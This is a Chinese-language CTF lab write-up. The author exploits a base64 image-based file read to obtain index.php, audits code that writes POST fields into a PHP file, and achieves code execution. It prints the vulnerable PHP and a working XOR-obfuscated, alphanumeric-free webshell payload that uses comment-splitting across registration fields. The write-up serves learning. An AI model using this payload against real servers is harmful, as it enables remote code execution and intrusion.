开靶机,发现一个登录与注册的页面,尝试sql注入,无果,随便注册一个登录上去
东西很多,到处点一点,发现在杰哥那张图片的元素中有base64编码
拿到base64转图片去看一下,BASE64转图片 - 站长工具 - 极速数据 (jisuapi.com)
发现有图片出来,说明应该可以通过这个来任意读取文件内容,
再往上能看到一个src,提示了我们获取文件的方法,
读到index.php内容的base64编码,解密Base64 在线编码解码 | Base64 加密解密 - Base64.us
6){
echo("");
}
elseif(strlen($_POST['website']) > 25){
echo("");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("");
}
else{
echo("");
}
}
else{
echo("");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>
审计代码(还好简单,不然我这个菜鸡就寄了),几个post传参,并对长度进行了限制,然后正则匹配过滤。
看到这个
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
很像无字母数字rce,先看看后面的,获取了template.html的页面内容,并进行了一些替换,我们再去看看template.html的代码
上面的头部不用管,直接看body
__PUNC__
-
图片
-
游戏
-
好康的
-
你的网站
可以看到几个被插入的数据位置
·user:
主要是这里,但是index.php对他的长度进行了限制,所以不能在这里构造
·passwd
在index.php中被md5编码了,也不行。
·website
插入到了标签里面,不好操作
·punctuation
可以看到被a标签包裹着,而且限制长度最松,就选他了
那么要如何利用呢,可以在用户名那里写半个多行注释符,再在后面的__PUNC__
或者__WEBSITE__
使用半个注释符进行闭合,然后构造恶意代码,再在最后使用半个多行注释符把后面注释掉就可以了
用异或或自增都可以
user=1)/*&passwd=1&website=1&punctuation=*/;$_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___=$$__;echo $___;$_($___['!']);/*
我们看一下这样创建一个账号,插入到template是个什么样子
alert('Permission denied!');");
}
?>
- 系统设置
- 使用指南
- 关于我们
- 退出系统